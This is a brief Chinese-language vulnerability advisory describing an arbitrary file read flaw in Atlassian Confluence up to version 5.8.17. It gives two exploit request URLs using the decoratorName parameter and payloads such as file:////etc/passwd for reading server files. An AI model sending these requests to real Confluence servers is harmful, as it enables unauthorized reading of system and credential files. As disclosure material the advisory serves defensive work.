Atlassian Confluence
Atlassian Confluence是澳大利亞Atlassian公司的一套專業的企業知識管理與協同軟件,也可以用於構建企業WiKi。該軟件可實現團隊成員之間的協作和知識共享。
漏洞簡介
漏洞名稱:任意文件讀取
漏洞類型:WEB類型漏洞
影響版本:小於或等於5.8.17版本
漏洞評級:高危
漏洞詳情
漏洞請求:
https://hostdomain/spaces/viewdefaultdecorator.action?decoratorName=PAYLOAD
https://hostdomain/admin/viewdefaultdecorator.action?decoratorName=PAYLOAD
PAYLOAD =》 file:///d:/xxx/xxx 或者 file:////etc/passwd

